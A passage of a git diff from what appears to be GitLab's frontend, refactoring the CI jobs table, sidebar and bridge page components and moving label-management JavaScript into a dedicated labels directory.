+ :text="$options.i18n.retryButton"
+ category="primary"
+ variant="confirm"
+ right
+ size="medium"
+ >
+ <gl-dropdown-item>{{ $options.i18n.retryTriggerJob }}</gl-dropdown-item>
+ <gl-dropdown-item>{{ $options.i18n.retryDownstreamPipeline }}</gl-dropdown-item>
+ </gl-dropdown>
+ </div>
+ <gl-button
+ :aria-label="$options.i18n.toggleSidebar"
+ data-testid="sidebar-expansion-toggle"
+ category="tertiary"
+ class="gl-md-display-none gl-ml-2"
+ icon="chevron-double-lg-right"
+ @click="toggleSidebar"
+ />
+ </div>
+ <!-- TODO: get job details and show commit block, stage dropdown, jobs list -->
+ </aside>
+</template>
diff --git a/app/assets/javascripts/jobs/components/job_log_controllers.vue b/app/assets/javascripts/jobs/components/job_log_controllers.vue
index 6105299e15c..97141a27a5e 100644
--- a/app/assets/javascripts/jobs/components/job_log_controllers.vue
+++ b/app/assets/javascripts/jobs/components/job_log_controllers.vue
@@ -5,7 +5,7 @@ import { __, s__, sprintf } from '~/locale';
export default {
i18n: {
- eraseLogButtonLabel: s__('Job|Erase job log'),
+ eraseLogButtonLabel: s__('Job|Erase job log and artifacts'),
scrollToBottomButtonLabel: s__('Job|Scroll to bottom'),
scrollToTopButtonLabel: s__('Job|Scroll to top'),
showRawButtonLabel: s__('Job|Show complete raw'),
diff --git a/app/assets/javascripts/jobs/components/sidebar.vue b/app/assets/javascripts/jobs/components/sidebar.vue
index 1b50006239c..9aa1503c7c3 100644
--- a/app/assets/javascripts/jobs/components/sidebar.vue
+++ b/app/assets/javascripts/jobs/components/sidebar.vue
@@ -2,7 +2,7 @@
import { GlButton, GlIcon } from '@gitlab/ui';
import { isEmpty } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import { JOB_SIDEBAR } from '../constants';
import ArtifactsBlock from './artifacts_block.vue';
import CommitBlock from './commit_block.vue';
diff --git a/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue b/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
index d90377029c5..5451cd21c14 100644
--- a/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
+++ b/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
@@ -20,6 +20,9 @@ export default {
duration() {
return timeIntervalInWords(this.job.duration);
},
+ durationTitle() {
+ return this.job.finished_at ? __('Duration') : __('Elapsed time');
+ },
erasedAt() {
return this.timeFormatted(this.job.erased_at);
},
@@ -76,7 +79,7 @@ export default {
<template>
<div v-if="shouldRenderBlock">
- <detail-row v-if="job.duration" :value="duration" title="Duration" />
+ <detail-row v-if="job.duration" :value="duration" :title="durationTitle" />
<detail-row
v-if="job.finished_at"
:value="finishedAt"
diff --git a/app/assets/javascripts/jobs/components/table/cells/actions_cell.vue b/app/assets/javascripts/jobs/components/table/cells/actions_cell.vue
index 51251c0cacc..7dfa963a857 100644
--- a/app/assets/javascripts/jobs/components/table/cells/actions_cell.vue
+++ b/app/assets/javascripts/jobs/components/table/cells/actions_cell.vue
@@ -12,6 +12,7 @@ import {
JOB_SCHEDULED,
PLAY_JOB_CONFIRMATION_MESSAGE,
RUN_JOB_NOW_HEADER_TITLE,
+ FILE_TYPE_ARCHIVE,
} from '../constants';
import eventHub from '../event_hub';
import cancelJobMutation from '../graphql/mutations/job_cancel.mutation.graphql';
@@ -58,12 +59,21 @@ export default {
},
},
computed: {
+ hasArtifacts() {
+ return this.job.artifacts.nodes.find((artifact) => artifact.fileType === FILE_TYPE_ARCHIVE);
+ },
artifactDownloadPath() {
- return this.job.artifacts?.nodes[0]?.downloadPath;
+ return this.hasArtifacts.downloadPath;
},
canReadJob() {
return this.job.userPermissions?.readBuild;
},
+ canUpdateJob() {
+ return this.job.userPermissions?.updateBuild;
+ },
+ canReadArtifacts() {
+ return this.job.userPermissions?.readJobArtifacts;
+ },
isActive() {
return this.job.active;
},
@@ -86,7 +96,7 @@ export default {
return this.job.detailedStatus?.action?.method;
},
shouldDisplayArtifacts() {
- return this.job.userPermissions?.readJobArtifacts && this.job.artifacts?.nodes.length > 0;
+ return this.canReadArtifacts && this.hasArtifacts;
},
},
methods: {
@@ -139,7 +149,7 @@ export default {
<template>
<gl-button-group>
- <template v-if="canReadJob">
+ <template v-if="canReadJob && canUpdateJob">
<gl-button
v-if="isActive"
data-testid="cancel-button"
diff --git a/app/assets/javascripts/jobs/components/table/cells/pipeline_cell.vue b/app/assets/javascripts/jobs/components/table/cells/pipeline_cell.vue
index 71f9397f5f5..1a6d1a341b0 100644
--- a/app/assets/javascripts/jobs/components/table/cells/pipeline_cell.vue
+++ b/app/assets/javascripts/jobs/components/table/cells/pipeline_cell.vue
@@ -35,10 +35,12 @@ export default {
</script>
<template>
- <div class="gl-text-truncate">
- <gl-link class="gl-text-gray-500!" :href="pipelinePath" data-testid="pipeline-id">
- {{ pipelineId }}
- </gl-link>
+ <div>
+ <div class="gl-text-truncate">
+ <gl-link class="gl-text-gray-500!" :href="pipelinePath" data-testid="pipeline-id">
+ {{ pipelineId }}
+ </gl-link>
+ </div>
<div>
<span>{{ __('created by') }}</span>
<gl-link v-if="showAvatar" :href="userPath" data-testid="pipeline-user-link">
diff --git a/app/assets/javascripts/jobs/components/table/constants.js b/app/assets/javascripts/jobs/components/table/constants.js
index e5d1bc01cbf..962979ba573 100644
--- a/app/assets/javascripts/jobs/components/table/constants.js
+++ b/app/assets/javascripts/jobs/components/table/constants.js
@@ -1,4 +1,5 @@
import { s__, __ } from '~/locale';
+import { DEFAULT_TH_CLASSES } from '~/lib/utils/constants';
export const GRAPHQL_PAGE_SIZE = 30;
@@ -17,6 +18,9 @@ export const DEFAULT = 'default';
/* Job Status Constants */
export const JOB_SCHEDULED = 'SCHEDULED';
+/* Artifact file types */
+export const FILE_TYPE_ARCHIVE = 'ARCHIVE';
+
/* i18n */
export const ACTIONS_DOWNLOAD_ARTIFACTS = __('Download artifacts');
export const ACTIONS_START_NOW = s__('DelayedJobs|Start now');
@@ -30,3 +34,66 @@ export const PLAY_JOB_CONFIRMATION_MESSAGE = s__(
`DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after its timer finishes.`,
);
export const RUN_JOB_NOW_HEADER_TITLE = s__('DelayedJobs|Run the delayed job now?');
+
+/* Table constants */
+
+const defaultTableClasses = {
+ tdClass: 'gl-p-5!',
+ thClass: DEFAULT_TH_CLASSES,
+};
+// eslint-disable-next-line @gitlab/require-i18n-strings
+const coverageTdClasses = `${defaultTableClasses.tdClass} gl-display-none! gl-lg-display-table-cell!`;
+
+export const DEFAULT_FIELDS = [
+ {
+ key: 'status',
+ label: __('Status'),
+ ...defaultTableClasses,
+ columnClass: 'gl-w-10p',
+ },
+ {
+ key: 'job',
+ label: __('Job'),
+ ...defaultTableClasses,
+ columnClass: 'gl-w-20p',
+ },
+ {
+ key: 'pipeline',
+ label: __('Pipeline'),
+ ...defaultTableClasses,
+ columnClass: 'gl-w-10p',
+ },
+ {
+ key: 'stage',
+ label: __('Stage'),
+ ...defaultTableClasses,
+ columnClass: 'gl-w-10p',
+ },
+ {
+ key: 'name',
+ label: __('Name'),
+ ...defaultTableClasses,
+ columnClass: 'gl-w-15p',
+ },
+ {
+ key: 'duration',
+ label: __('Duration'),
+ ...defaultTableClasses,
+ columnClass: 'gl-w-15p',
+ },
+ {
+ key: 'coverage',
+ label: __('Coverage'),
+ tdClass: coverageTdClasses,
+ thClass: defaultTableClasses.thClass,
+ columnClass: 'gl-w-10p',
+ },
+ {
+ key: 'actions',
+ label: '',
+ ...defaultTableClasses,
+ columnClass: 'gl-w-10p',
+ },
+];
+
+export const JOBS_TAB_FIELDS = DEFAULT_FIELDS.filter((field) => field.key !== 'pipeline');
diff --git a/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql b/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
index c8763d4767e..88937185a8c 100644
--- a/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
+++ b/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
@@ -7,6 +7,7 @@ query getJobs(
$statuses: [CiJobStatus!]
) {
project(fullPath: $fullPath) {
+ id
jobs(after: $after, before: $before, first: $first, last: $last, statuses: $statuses) {
pageInfo {
endCursor
@@ -18,6 +19,7 @@ query getJobs(
artifacts {
nodes {
downloadPath
+ fileType
}
}
allowFailure
@@ -27,6 +29,7 @@ query getJobs(
triggered
createdByTag
detailedStatus {
+ id
detailsPath
group
icon
@@ -34,6 +37,7 @@ query getJobs(
text
tooltip
action {
+ id
buttonTitle
icon
method
@@ -51,11 +55,13 @@ query getJobs(
id
path
user {
+ id
webPath
avatarUrl
}
}
stage {
+ id
name
}
name
@@ -70,6 +76,7 @@ query getJobs(
userPermissions {
readBuild
readJobArtifacts
+ updateBuild
}
}
}
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table.vue b/app/assets/javascripts/jobs/components/table/jobs_table.vue
index 298c99c4162..f513d2090fa 100644
--- a/app/assets/javascripts/jobs/components/table/jobs_table.vue
+++ b/app/assets/javascripts/jobs/components/table/jobs_table.vue
@@ -1,75 +1,17 @@
<script>
import { GlTable } from '@gitlab/ui';
-import { DEFAULT_TH_CLASSES } from '~/lib/utils/constants';
-import { s__, __ } from '~/locale';
+import { s__ } from '~/locale';
import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
import ActionsCell from './cells/actions_cell.vue';
import DurationCell from './cells/duration_cell.vue';
import JobCell from './cells/job_cell.vue';
import PipelineCell from './cells/pipeline_cell.vue';
-
-const defaultTableClasses = {
- tdClass: 'gl-p-5!',
- thClass: DEFAULT_TH_CLASSES,
-};
-// eslint-disable-next-line @gitlab/require-i18n-strings
-const coverageTdClasses = `${defaultTableClasses.tdClass} gl-display-none! gl-lg-display-table-cell!`;
+import { DEFAULT_FIELDS } from './constants';
export default {
i18n: {
emptyText: s__('Jobs|No jobs to show'),
},
- fields: [
- {
- key: 'status',
- label: __('Status'),
- ...defaultTableClasses,
- columnClass: 'gl-w-10p',
- },
- {
- key: 'job',
- label: __('Job'),
- ...defaultTableClasses,
- columnClass: 'gl-w-20p',
- },
- {
- key: 'pipeline',
- label: __('Pipeline'),
- ...defaultTableClasses,
- columnClass: 'gl-w-10p',
- },
- {
- key: 'stage',
- label: __('Stage'),
- ...defaultTableClasses,
- columnClass: 'gl-w-10p',
- },
- {
- key: 'name',
- label: __('Name'),
- ...defaultTableClasses,
- columnClass: 'gl-w-15p',
- },
- {
- key: 'duration',
- label: __('Duration'),
- ...defaultTableClasses,
- columnClass: 'gl-w-15p',
- },
- {
- key: 'coverage',
- label: __('Coverage'),
- tdClass: coverageTdClasses,
- thClass: defaultTableClasses.thClass,
- columnClass: 'gl-w-10p',
- },
- {
- key: 'actions',
- label: '',
- ...defaultTableClasses,
- columnClass: 'gl-w-10p',
- },
- ],
components: {
ActionsCell,
CiBadge,
@@ -83,6 +25,11 @@ export default {
type: Array,
required: true,
},
+ tableFields: {
+ type: Array,
+ required: false,
+ default: () => DEFAULT_FIELDS,
+ },
},
methods: {
formatCoverage(coverage) {
@@ -95,7 +42,7 @@ export default {
<template>
<gl-table
:items="jobs"
- :fields="$options.fields"
+ :fields="tableFields"
:tbody-tr-attr="{ 'data-testid': 'jobs-table-row' }"
:empty-text="$options.i18n.emptyText"
show-empty
diff --git a/app/assets/javascripts/jobs/index.js b/app/assets/javascripts/jobs/index.js
index 1fb6a6f9850..e078a6c2319 100644
--- a/app/assets/javascripts/jobs/index.js
+++ b/app/assets/javascripts/jobs/index.js
@@ -1,10 +1,11 @@
import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import BridgeApp from './bridge/app.vue';
import JobApp from './components/job_app.vue';
import createStore from './store';
-export default () => {
- const element = document.getElementById('js-job-vue-app');
-
+const initializeJobPage = (element) => {
const store = createStore();
// Let's start initializing the store (i.e. fetching data) right away
@@ -51,3 +52,35 @@ export default () => {
},
});
};
+
+const initializeBridgePage = (el) => {
+ const { buildName, emptyStateIllustrationPath } = el.dataset;
+
+ Vue.use(VueApollo);
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+ });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ provide: {
+ buildName,
+ emptyStateIllustrationPath,
+ },
+ render(h) {
+ return h(BridgeApp);
+ },
+ });
+};
+
+export default () => {
+ const jobElement = document.getElementById('js-job-page');
+ const bridgeElement = document.getElementById('js-bridge-page');
+
+ if (jobElement) {
+ initializeJobPage(jobElement);
+ } else {
+ initializeBridgePage(bridgeElement);
+ }
+};
diff --git a/app/assets/javascripts/label_manager.js b/app/assets/javascripts/label_manager.js
deleted file mode 100644
index e0068edbb9b..00000000000
--- a/app/assets/javascripts/label_manager.js
+++ /dev/null
@@ -1,146 +0,0 @@
-/* eslint-disable class-methods-use-this, no-underscore-dangle, no-param-reassign, func-names */
-
-import $ from 'jquery';
-import Sortable from 'sortablejs';
-import { dispose } from '~/tooltips';
-import createFlash from './flash';
-import axios from './lib/utils/axios_utils';
-import { __ } from './locale';
-
-export default class LabelManager {
- constructor({ togglePriorityButton, prioritizedLabels, otherLabels } = {}) {
- this.togglePriorityButton = togglePriorityButton || $('.js-toggle-priority');
- this.prioritizedLabels = prioritizedLabels || $('.js-prioritized-labels');
- this.otherLabels = otherLabels || $('.js-other-labels');
- this.errorMessage = __('Unable to update label prioritization at this time');
- this.emptyState = document.querySelector('#js-priority-labels-empty-state');
- this.$badgeItemTemplate = $('#js-badge-item-template');
-
- if ('sortable' in this.prioritizedLabels.data()) {
- Sortable.create(this.prioritizedLabels.get(0), {
- filter: '.empty-message',
- forceFallback: true,
- fallbackClass: 'is-dragging',
- dataIdAttr: 'data-id',
- onUpdate: this.onPrioritySortUpdate.bind(this),
- });
- }
- this.bindEvents();
- }
-
- bindEvents() {
- return this.togglePriorityButton.on('click', this, this.onTogglePriorityClick);
- }
-
- onTogglePriorityClick(e) {
- e.preventDefault();
- const _this = e.data;
- const $btn = $(e.currentTarget);
- const $label = $(`#${$btn.data('domId')}`);
- const action = $btn.parents('.js-prioritized-labels').length ? 'remove' : 'add';
- const $tooltip = $(`#${$btn.find('.has-tooltip:visible').attr('aria-describedby')}`);
- dispose($tooltip);
- _this.toggleLabelPriority($label, action);
- _this.toggleEmptyState($label, $btn, action);
- }
-
- toggleEmptyState() {
- this.emptyState.classList.toggle(
- 'hidden',
- Boolean(this.prioritizedLabels[0].querySelector(':scope > li')),
- );
- }
-
- toggleLabelPriority($label, action, persistState) {
- if (persistState == null) {
- persistState = true;
- }
- const url = $label.find('.js-toggle-priority').data('url');
- let $target = this.prioritizedLabels;
- let $from = this.otherLabels;
- const rollbackLabelPosition = this.rollbackLabelPosition.bind(this, $label, action);
-
- if (action === 'remove') {
- $target = this.otherLabels;
- $from = this.prioritizedLabels;
- }
-
- const $detachedLabel = $label.detach();
- this.toggleLabelPriorityBadge($detachedLabel, action);
-
- const $labelEls = $target.find('li.label-list-item');
-
- /*
- * If there is a label element in the target, we'd want to
- * append the new label just right next to it.
- */
- if ($labelEls.length) {
- $labelEls.last().after($detachedLabel);
- } else {
- $detachedLabel.appendTo($target);
- }
-
- if ($from.find('li').length) {
- $from.find('.empty-message').removeClass('hidden');
- }
- if ($target.find('> li:not(.empty-message)').length) {
- $target.find('.empty-message').addClass('hidden');
- }
- // Return if we are not persisting state
- if (!persistState) {
- return;
- }
- if (action === 'remove') {
- axios.delete(url).catch(rollbackLabelPosition);
-
- // Restore empty message
- if (!$from.find('li').length) {
- $from.find('.empty-message').removeClass('hidden');
- }
- } else {
- this.savePrioritySort($label, action).catch(rollbackLabelPosition);
- }
- }
-
- toggleLabelPriorityBadge($label, action) {
- if (action === 'remove') {
- $('.js-priority-badge', $label).remove();
- } else {
- $('.label-links', $label).append(this.$badgeItemTemplate.clone().html());
- }
- }
-
- onPrioritySortUpdate() {
- this.savePrioritySort().catch(() =>
- createFlash({
- message: this.errorMessage,
- }),
- );
- }
-
- savePrioritySort() {
- return axios.post(this.prioritizedLabels.data('url'), {
- label_ids: this.getSortedLabelsIds(),
- });
- }
-
- rollbackLabelPosition($label, originalAction) {
- const action = originalAction === 'remove' ? 'add' : 'remove';
- this.toggleLabelPriority($label, action, false);
- createFlash({
- message: this.errorMessage,
- });
- }
-
- getSortedLabelsIds() {
- const sortedIds = [];
- this.prioritizedLabels.find('> li').each(function () {
- const id = $(this).data('id');
-
- if (id) {
- sortedIds.push(id);
- }
- });
- return sortedIds;
- }
-}
diff --git a/app/assets/javascripts/vue_shared/components/delete_label_modal.vue b/app/assets/javascripts/labels/components/delete_label_modal.vue
index 1ff0938d086..1ff0938d086 100644
--- a/app/assets/javascripts/vue_shared/components/delete_label_modal.vue
+++ b/app/assets/javascripts/labels/components/delete_label_modal.vue
diff --git a/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue b/app/assets/javascripts/labels/components/promote_label_modal.vue
index e708cd32fff..e708cd32fff 100644
--- a/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
+++ b/app/assets/javascripts/labels/components/promote_label_modal.vue
diff --git a/app/assets/javascripts/labels/create_label_dropdown.js b/app/assets/javascripts/labels/create_label_dropdown.js
new file mode 100644
index 00000000000..8c166158a44
--- /dev/null
+++ b/app/assets/javascripts/labels/create_label_dropdown.js
@@ -0,0 +1,131 @@
+/* eslint-disable func-names */
+
+import $ from 'jquery';
+import Api from '~/api';
+import { humanize } from '~/lib/utils/text_utility';
+
+export default class CreateLabelDropdown {
+ constructor($el, namespacePath, projectPath) {
+ this.$el = $el;
+ this.namespacePath = namespacePath;
+ this.projectPath = projectPath;
+ this.$dropdownBack = $('.dropdown-menu-back', this.$el.closest('.dropdown'));
+ this.$cancelButton = $('.js-cancel-label-btn', this.$el);
+ this.$newLabelField = $('#new_label_name', this.$el);
+ this.$newColorField = $('#new_label_color', this.$el);
+ this.$colorPreview = $('.js-dropdown-label-color-preview', this.$el);
+ this.$addList = $('.js-add-list', this.$el);
+ this.$newLabelError = $('.js-label-error', this.$el);
+ this.$newLabelCreateButton = $('.js-new-label-btn', this.$el);
+ this.$colorSuggestions = $('.suggest-colors-dropdown a', this.$el);
+
+ this.$newLabelError.hide();
+ this.$newLabelCreateButton.disable();
+
+ this.addListDefault = this.$addList.is(':checked');
+
+ this.cleanBinding();
+ this.addBinding();
+ }
+
+ cleanBinding() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ this.$colorSuggestions.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ this.$newLabelField.off('keyup change');
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ this.$newColorField.off('keyup change');
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ this.$dropdownBack.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ this.$cancelButton.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ this.$newLabelCreateButton.off('click');
+ }
+
+ addBinding() {
+ const self = this;
+
+ this.$colorSuggestions.on('click', function (e) {
+ const $this = $(this);
+ self.addColorValue(e, $this);
+ });
+
+ this.$newLabelField.on('keyup change', this.enableLabelCreateButton.bind(this));
+ this.$newColorField.on('keyup change', this.enableLabelCreateButton.bind(this));
+
+ this.$dropdownBack.on('click', this.resetForm.bind(this));
+
+ this.$cancelButton.on('click', (e) => {
+ e.preventDefault();
+ e.stopPropagation();
+
+ self.resetForm();
+ self.$dropdownBack.trigger('click');
+ });
+
+ this.$newLabelCreateButton.on('click', this.saveLabel.bind(this));
+ }
+
+ addColorValue(e, $this) {
+ e.preventDefault();
+ e.stopPropagation();
+
+ this.$newColorField.val($this.data('color')).trigger('change');
+ this.$colorPreview.css('background-color', $this.data('color')).parent().addClass('is-active');
+ }
+
+ enableLabelCreateButton() {
+ if (this.$newLabelField.val() !== '' && this.$newColorField.val() !== '') {
+ this.$newLabelError.hide();
+ this.$newLabelCreateButton.enable();
+ } else {
+ this.$newLabelCreateButton.disable();
+ }
+ }
+
+ resetForm() {
+ this.$newLabelField.val('').trigger('change');
+
+ this.$newColorField.val('').trigger('change');
+
+ this.$addList.prop('checked', this.addListDefault);
+
+ this.$colorPreview.css('background-color', '').parent().removeClass('is-active');
+ }
+
+ saveLabel(e) {
+ e.preventDefault();
+ e.stopPropagation();
+
+ Api.newLabel(
+ this.namespacePath,
+ this.projectPath,
+ {
+ title: this.$newLabelField.val(),
+ color: this.$newColorField.val(),
+ },
+ (label) => {
+ this.$newLabelCreateButton.enable();
+
+ if (label.message) {
+ let errors;
+
+ if (typeof label.message === 'string') {
+ errors = label.message;
+ } else {
+ errors = Object.keys(label.message)
+ .map((key) => `${humanize(key)} ${label.message[key].join(', ')}`)
+ .join('<br/>');
+ }
+
+ this.$newLabelError.html(errors).show();
+ } else {
+ const addNewList = this.$addList.is(':checked');
+ this.$dropdownBack.trigger('click');
+ $(document).trigger('created.label', [label, addNewList]);
+ }
+ },
+ );
+ }
+}
diff --git a/app/assets/javascripts/issue_show/event_hub.js b/app/assets/javascripts/labels/event_hub.js
index e31806ad199..e31806ad199 100644
--- a/app/assets/javascripts/issue_show/event_hub.js
+++ b/app/assets/javascripts/labels/event_hub.js
diff --git a/app/assets/javascripts/labels/group_label_subscription.js b/app/assets/javascripts/labels/group_label_subscription.js
new file mode 100644
index 00000000000..ea69e6585e6
--- /dev/null
+++ b/app/assets/javascripts/labels/group_label_subscription.js
@@ -0,0 +1,76 @@
+import $ from 'jquery';
+import { __ } from '~/locale';
+import { fixTitle, hide } from '~/tooltips';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+
+const tooltipTitles = {
+ group: __('Unsubscribe at group level'),
+ project: __('Unsubscribe at project level'),
+};
+
+export default class GroupLabelSubscription {
+ constructor(container) {
+ const $container = $(container);
+ this.$dropdown = $container.find('.dropdown');
+ this.$subscribeButtons = $container.find('.js-subscribe-button');
+ this.$unsubscribeButtons = $container.find('.js-unsubscribe-button');
+
+ this.$subscribeButtons.on('click', this.subscribe.bind(this));
+ this.$unsubscribeButtons.on('click', this.unsubscribe.bind(this));
+ }
+
+ unsubscribe(event) {
+ event.preventDefault();
+
+ const url = this.$unsubscribeButtons.attr('data-url');
+ axios
+ .post(url)
+ .then(() => {
+ this.toggleSubscriptionButtons();
+ this.$unsubscribeButtons.removeAttr('data-url');
+ })
+ .catch(() =>
+ createFlash({
+ message: __('There was an error when unsubscribing from this label.'),
+ }),
+ );
+ }
+
+ subscribe(event) {
+ event.preventDefault();
+
+ const $btn = $(event.currentTarget);
+ const url = $btn.attr('data-url');
+
+ this.$unsubscribeButtons.attr('data-url', url);
+
+ axios
+ .post(url)
+ .then(() => GroupLabelSubscription.setNewTooltip($btn))
+ .then(() => this.toggleSubscriptionButtons())
+ .catch(() =>
+ createFlash({
+ message: __('There was an error when subscribing to this label.'),
+ }),
+ );
+ }
+
+ toggleSubscriptionButtons() {
+ this.$dropdown.toggleClass('hidden');
+ this.$subscribeButtons.toggleClass('hidden');
+ this.$unsubscribeButtons.toggleClass('hidden');
+ }
+
+ static setNewTooltip($button) {
+ if (!$button.hasClass('js-subscribe-button')) return;
+
+ const type = $button.hasClass('js-group-level') ? 'group' : 'project';
+ const newTitle = tooltipTitles[type];
+
+ const $el = $('.js-unsubscribe-button', $button.closest('.label-actions-list'));
+ hide($el);
+ $el.attr('title', `${newTitle}`);
+ fixTitle($el);
+ }
+}
diff --git a/app/assets/javascripts/labels/index.js b/app/assets/javascripts/labels/index.js
new file mode 100644
index 00000000000..22a9c0a89c0
--- /dev/null
+++ b/app/assets/javascripts/labels/index.js
@@ -0,0 +1,137 @@
+import $ from 'jquery';
+import Vue from 'vue';
+import { BV_SHOW_MODAL } from '~/lib/utils/constants';
+import Translate from '~/vue_shared/translate';
+import DeleteLabelModal from './components/delete_label_modal.vue';
+import PromoteLabelModal from './components/promote_label_modal.vue';
+import eventHub from './event_hub';
+import GroupLabelSubscription from './group_label_subscription';
+import LabelManager from './label_manager';
+import ProjectLabelSubscription from './project_label_subscription';
+
+export function initDeleteLabelModal(optionalProps = {}) {
+ new Vue({
+ render(h) {
+ return h(DeleteLabelModal, {
+ props: {
+ selector: '.js-delete-label-modal-button',
+ ...optionalProps,
+ },
+ });
+ },
+ }).$mount();
+}
+
+export function initLabels() {
+ if ($('.prioritized-labels').length) {
+ new LabelManager(); // eslint-disable-line no-new
+ }
+ $('.label-subscription').each((i, el) => {
+ const $el = $(el);
+
+ if ($el.find('.dropdown-group-label').length) {
+ new GroupLabelSubscription($el); // eslint-disable-line no-new
+ } else {
+ new ProjectLabelSubscription($el); // eslint-disable-line no-new
+ }
+ });
+}
+
+export function initLabelIndex() {
+ Vue.use(Translate);
+
+ initLabels();
+ initDeleteLabelModal();
+
+ const onRequestFinished = ({ labelUrl, successful }) => {
+ const button = document.querySelector(
+ `.js-promote-project-label-button[data-url="${labelUrl}"]`,
+ );
+
+ if (!successful) {
+ button.removeAttribute('disabled');
+ }
+ };
+
+ const onRequestStarted = (labelUrl) => {
+ const button = document.querySelector(
+ `.js-promote-project-label-button[data-url="${labelUrl}"]`,
+ );
+ button.setAttribute('disabled', '');
+ eventHub.$once('promoteLabelModal.requestFinished', onRequestFinished);
+ };
+
+ const promoteLabelButtons = document.querySelectorAll('.js-promote-project-label-button');
+
+ return new Vue({
+ el: '#js-promote-label-modal',
+ data() {
+ return {
+ modalProps: {
+ labelTitle: '',
+ labelColor: '',
+ labelTextColor: '',
+ url: '',
+ groupName: '',
+ },
+ };
+ },
+ mounted() {
+ eventHub.$on('promoteLabelModal.props', this.setModalProps);
+ eventHub.$emit('promoteLabelModal.mounted');
+
+ promoteLabelButtons.forEach((button) => {
+ button.removeAttribute('disabled');
+ button.addEventListener('click', () => {
+ this.$root.$emit(BV_SHOW_MODAL, 'promote-label-modal');
+ eventHub.$once('promoteLabelModal.requestStarted', onRequestStarted);
+
+ this.setModalProps({
+ labelTitle: button.dataset.labelTitle,
+ labelColor: button.dataset.labelColor,
+ labelTextColor: button.dataset.labelTextColor,
+ url: button.dataset.url,
+ groupName: button.dataset.groupName,
+ });
+ });
+ });
+ },
+ beforeDestroy() {
+ eventHub.$off('promoteLabelModal.props', this.setModalProps);
+ },
+ methods: {
+ setModalProps(modalProps) {
+ this.modalProps = modalProps;
+ },
+ },
+ render(createElement) {
+ return createElement(PromoteLabelModal, {
+ props: this.modalProps,
+ });
+ },
+ });
+}
+
+export function initAdminLabels() {
+ const labelsContainer = document.querySelector('.js-admin-labels-container');
+ const pagination = labelsContainer?.querySelector('.gl-pagination');
+ const emptyState = document.querySelector('.js-admin-labels-empty-state');
+
+ function removeLabelSuccessCallback() {
+ this.closest('li').classList.add('gl-display-none!');
+
+ const labelsCount = document.querySelectorAll(
+ 'ul.manage-labels-list li:not(.gl-display-none\\!)',
+ ).length;
+
+ // display the empty state if there are no more labels
+ if (labelsCount < 1 && !pagination && emptyState) {
+ emptyState.classList.remove('gl-display-none');
+ labelsContainer.classList.add('gl-display-none');
+ }
+ }
+
+ document.querySelectorAll('.js-remove-label').forEach((row) => {
+ row.addEventListener('ajax:success', removeLabelSuccessCallback);
+ });
+}
diff --git a/app/assets/javascripts/labels/label_manager.js b/app/assets/javascripts/labels/label_manager.js
new file mode 100644
index 00000000000..1927ac6e1ec
--- /dev/null
+++ b/app/assets/javascripts/labels/label_manager.js
@@ -0,0 +1,146 @@
+/* eslint-disable class-methods-use-this, no-underscore-dangle, no-param-reassign, func-names */
+
+import $ from 'jquery';
+import Sortable from 'sortablejs';
+import { dispose } from '~/tooltips';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+
+export default class LabelManager {
+ constructor({ togglePriorityButton, prioritizedLabels, otherLabels } = {}) {
+ this.togglePriorityButton = togglePriorityButton || $('.js-toggle-priority');
+ this.prioritizedLabels = prioritizedLabels || $('.js-prioritized-labels');
+ this.otherLabels = otherLabels || $('.js-other-labels');
+ this.errorMessage = __('Unable to update label prioritization at this time');
+ this.emptyState = document.querySelector('#js-priority-labels-empty-state');
+ this.$badgeItemTemplate = $('#js-badge-item-template');
+
+ if ('sortable' in this.prioritizedLabels.data()) {
+ Sortable.create(this.prioritizedLabels.get(0), {
+ filter: '.empty-message',
+ forceFallback: true,
+ fallbackClass: 'is-dragging',
+ dataIdAttr: 'data-id',
+ onUpdate: this.onPrioritySortUpdate.bind(this),
+ });
+ }
+ this.bindEvents();
+ }
+
+ bindEvents() {
+ return this.togglePriorityButton.on('click', this, this.onTogglePriorityClick);
+ }
+
+ onTogglePriorityClick(e) {
+ e.preventDefault();
+ const _this = e.data;
+ const $btn = $(e.currentTarget);
+ const $label = $(`#${$btn.data('domId')}`);
+ const action = $btn.parents('.js-prioritized-labels').length ? 'remove' : 'add';
+ const $tooltip = $(`#${$btn.find('.has-tooltip:visible').attr('aria-describedby')}`);
+ dispose($tooltip);
+ _this.toggleLabelPriority($label, action);
+ _this.toggleEmptyState($label, $btn, action);
+ }
+
+ toggleEmptyState() {
+ this.emptyState.classList.toggle(
+ 'hidden',
+ Boolean(this.prioritizedLabels[0].querySelector(':scope > li')),
+ );
+ }
+
+ toggleLabelPriority($label, action, persistState) {
+ if (persistState == null) {
+ persistState = true;
+ }
+ const url = $label.find('.js-toggle-priority').data('url');
+ let $target = this.prioritizedLabels;
+ let $from = this.otherLabels;
+ const rollbackLabelPosition = this.rollbackLabelPosition.bind(this, $label, action);
+
+ if (action === 'remove') {
+ $target = this.otherLabels;
+ $from = this.prioritizedLabels;
